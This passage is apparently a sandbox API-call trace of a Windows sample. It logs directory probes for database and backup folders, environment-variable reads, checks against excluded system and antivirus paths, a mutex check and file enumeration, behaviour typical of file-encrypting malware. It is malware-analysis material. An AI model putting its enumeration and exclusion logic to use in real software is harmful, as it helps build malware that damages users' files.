lpsz="c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\") returned 0x44 [0049.972] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42948, cbMultiByte=21, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0049.972] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=9, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Firebird\\ SQL Server\\rver\\ct Edition\\") returned 9 [0049.972] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\Firebird", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b88, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69d30, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="셤R䱠@뱔R企@\x18?T\x18;")) returned 0xffffffff [0049.972] GetLastError () returned 0x2 [0049.972] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\", cchLength=0x44 | out: lpsz="c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\") returned 0x44 [0049.972] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69d20, cbMultiByte=9, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0049.973] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=8, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="MSSQL.1\\\\ SQL Server\\rver\\ct Edition\\") returned 8 [0049.973] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\MSSQL.1", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b88, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69d30, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="셤R䱠@ꜤR企@\x18?T\x18D")) returned 0xffffffff [0049.973] GetLastError () returned 0x2 [0049.973] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\", cchLength=0x44 | out: lpsz="c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\") returned 0x44 [0049.973] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69d20, cbMultiByte=8, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0049.973] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=37, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server Compact Edition\\") returned 37 [0049.973] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b88, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69d30, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="셤R䱠@숼R企@\x18뱔R\x18j")) returned 0xffffffff [0049.973] GetLastError () returned 0x2 [0049.973] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\", cchLength=0x44 | out: lpsz="c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\") returned 0x44 [0049.973] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\") returned 37 [0049.974] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Adobe\\oft SQL Server Compact Edition\\") returned 6 [0049.974] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\Adobe", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b88, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69d30, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="셤R䱠@蟌T企@\x18?T\x18q")) returned 0xffffffff [0049.974] GetLastError () returned 0x2 [0049.974] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\", cchLength=0x44 | out: lpsz="c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\") returned 0x44 [0049.974] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69d20, cbMultiByte=6, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="adobe\\뱐R ") returned 6 [0049.974] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Oracle\\ft SQL Server Compact Edition\\") returned 7 [0049.974] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\Oracle", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b88, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69d30, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="셤R䱠@蜄T企@\x18?T\x18y")) returned 0xffffffff [0049.974] GetLastError () returned 0x2 [0049.974] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\", cchLength=0x44 | out: lpsz="c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\") returned 0x44 [0049.974] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69d20, cbMultiByte=7, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="oracle\\T ") returned 7 [0049.975] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Archiveft SQL Server Compact Edition\\") returned 7 [0049.975] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\Archive", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b88, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69d30, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="셤R䱠@뱔R企@\x18?T\x18\x81")) returned 0xffffffff [0049.975] GetLastError () returned 0x2 [0049.975] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\", cchLength=0x44 | out: lpsz="c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\") returned 0x44 [0049.975] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69d20, cbMultiByte=7, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="archiveT ") returned 7 [0049.975] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Backupeft SQL Server Compact Edition\\") returned 6 [0049.975] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\Backup", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b88, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69d30, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="셤R䱠@蟌T企@\x18?T\x18\x88")) returned 0xffffffff [0049.975] GetLastError () returned 0x2 [0049.975] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\", cchLength=0x44 | out: lpsz="c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\") returned 0x44 [0049.975] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69d20, cbMultiByte=6, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="backup?T ") returned 6 [0049.975] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Reserveft SQL Server Compact Edition\\") returned 6 [0049.976] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\Reserv", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b88, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69d30, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="셤R䱠@蜄T企@\x18?T\x18\x8f")) returned 0xffffffff [0049.976] GetLastError () returned 0x2 [0049.976] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\", cchLength=0x44 | out: lpsz="c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\") returned 0x44 [0049.976] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69d20, cbMultiByte=6, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="reserv?T ") returned 6 [0049.976] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Restoreft SQL Server Compact Edition\\") returned 7 [0049.976] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\Restore", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b88, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69d30, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="셤R䱠@뱔R企@\x18?T\x18\x97")) returned 0xffffffff [0049.976] GetLastError () returned 0x2 [0049.976] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\", cchLength=0x44 | out: lpsz="c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\") returned 0x44 [0049.976] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69d20, cbMultiByte=7, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="restoreT ") returned 7 [0049.976] GlobalLock (hMem=0x44000c) returned 0x555b78 [0049.976] GlobalHandle (pMem=0x555b78) returned 0x44000c [0049.976] GlobalUnlock (hMem=0x44000c) returned 0 [0049.976] GlobalLock (hMem=0x44000c) returned 0x555b78 [0049.976] GlobalLock (hMem=0x440004) returned 0x557b88 [0049.976] GlobalHandle (pMem=0x555b78) returned 0x44000c [0049.977] GlobalUnlock (hMem=0x44000c) returned 0 [0049.977] GlobalHandle (pMem=0x557b88) returned 0x440004 [0049.977] GlobalUnlock (hMem=0x440004) returned 0 [0049.977] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\", cchLength=0x44 | out: lpsz="c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\") returned 0x44 [0049.977] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e2fc, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0049.977] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18d6fc, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0049.977] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\", cchLength=0x44 | out: lpsz="c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\") returned 0x44 [0049.977] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e2fc, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0049.977] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18d6fc, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 46 [0049.977] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\", cchLength=0x44 | out: lpsz="c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\") returned 0x44 [0049.977] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e2fc, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0049.977] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=15, lpWideCharStr=0x18d6fc, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 15 [0049.977] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\", cchLength=0x44 | out: lpsz="c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\") returned 0x44 [0049.977] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e2fc, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0049.977] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69db0, cbMultiByte=11, lpWideCharStr=0x18d6fc, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 11 [0049.977] GlobalLock (hMem=0x440004) returned 0x555b78 [0049.977] GlobalHandle (pMem=0x555b78) returned 0x440004 [0049.977] GlobalUnlock (hMem=0x440004) returned 0 [0049.978] GlobalLock (hMem=0x440004) returned 0x555b78 [0049.978] GlobalLock (hMem=0x44000c) returned 0x557b88 [0049.978] GlobalHandle (pMem=0x555b78) returned 0x440004 [0049.978] GlobalUnlock (hMem=0x440004) returned 0 [0049.978] GlobalHandle (pMem=0x557b88) returned 0x44000c [0049.978] GlobalUnlock (hMem=0x44000c) returned 0 [0049.978] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\", cchLength=0x44 | out: lpsz="c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\") returned 0x44 [0049.978] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=15, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 15 [0049.978] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\", cchLength=0x44 | out: lpsz="c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\") returned 0x44 [0049.978] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69d20, cbMultiByte=11, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 11 [0049.978] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\", cchLength=0x44 | out: lpsz="c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\") returned 0x44 [0049.978] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69d20, cbMultiByte=9, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 9 [0049.978] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\", cchLength=0x44 | out: lpsz="c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\") returned 0x44 [0049.978] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=18, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 18 [0049.978] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\", cchLength=0x44 | out: lpsz="c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\") returned 0x44 [0049.978] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=28, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 28 [0049.979] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\", cchLength=0x44 | out: lpsz="c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\") returned 0x44 [0049.979] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69d20, cbMultiByte=10, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 10 [0049.979] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\", cchLength=0x44 | out: lpsz="c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\") returned 0x44 [0049.979] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69d20, cbMultiByte=8, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 8 [0049.979] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\", cchLength=0x44 | out: lpsz="c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\") returned 0x44 [0049.979] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69d20, cbMultiByte=9, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 9 [0049.979] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\", cchLength=0x44 | out: lpsz="c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\") returned 0x44 [0049.979] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=13, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 13 [0049.979] GlobalLock (hMem=0x44000c) returned 0x555b78 [0049.979] GlobalHandle (pMem=0x555b78) returned 0x44000c [0049.979] GlobalUnlock (hMem=0x44000c) returned 0 [0049.979] GlobalLock (hMem=0x44000c) returned 0x555b78 [0049.979] GlobalLock (hMem=0x440004) returned 0x557b88 [0049.979] GlobalHandle (pMem=0x555b78) returned 0x44000c [0049.979] GlobalUnlock (hMem=0x44000c) returned 0 [0049.979] GlobalHandle (pMem=0x557b88) returned 0x440004 [0049.979] GlobalUnlock (hMem=0x440004) returned 0 [0049.980] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\*.*", lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef07e390, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e240 [0049.980] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef07e390, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.980] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x310fad00, ftCreationTime.dwHighDateTime=0x1c2d758, ftLastAccessTime.dwLowDateTime=0xeed123f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x310fad00, ftLastWriteTime.dwHighDateTime=0x1c2d758, nFileSizeHigh=0x0, nFileSizeLow=0x22d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="DATES.XML", cAlternateFileName="")) returned 1 [0049.980] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e748 | out: lpLocalFileTime=0x18e748) returned 1 [0049.980] FileTimeToDosDateTime (in: lpFileTime=0x18e748, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0049.980] GlobalLock (hMem=0x440004) returned 0x555b78 [0049.980] GlobalHandle (pMem=0x555b78) returned 0x440004 [0049.980] GlobalUnlock (hMem=0x440004) returned 0 [0049.980] GlobalLock (hMem=0x440004) returned 0x555b78 [0049.980] GlobalLock (hMem=0x44000c) returned 0x557b88 [0049.980] GlobalHandle (pMem=0x555b78) returned 0x440004 [0049.980] GlobalUnlock (hMem=0x440004) returned 0 [0049.980] GlobalHandle (pMem=0x557b88) returned 0x44000c [0049.980] GlobalUnlock (hMem=0x44000c) returned 0 [0049.980] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0049.980] CharLowerBuffW (in: lpsz="DATES.XML", cchLength=0x9 | out: lpsz="dates.xml") returned 0x9 [0049.980] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lç\x18", lpUsedDefaultChar=0x0) returned 1 [0049.980] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mç\x18", lpUsedDefaultChar=0x0) returned 1 [0049.980] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xç\x18", lpUsedDefaultChar=0x0) returned 1 [0049.980] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ç\x18", lpUsedDefaultChar=0x0) returned 1 [0049.980] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sç\x18", lpUsedDefaultChar=0x0) returned 1 [0049.980] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eç\x18", lpUsedDefaultChar=0x0) returned 1 [0049.980] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tç\x18", lpUsedDefaultChar=0x0) returned 1 [0049.980] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aç\x18", lpUsedDefaultChar=0x0) returned 1 [0049.981] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, 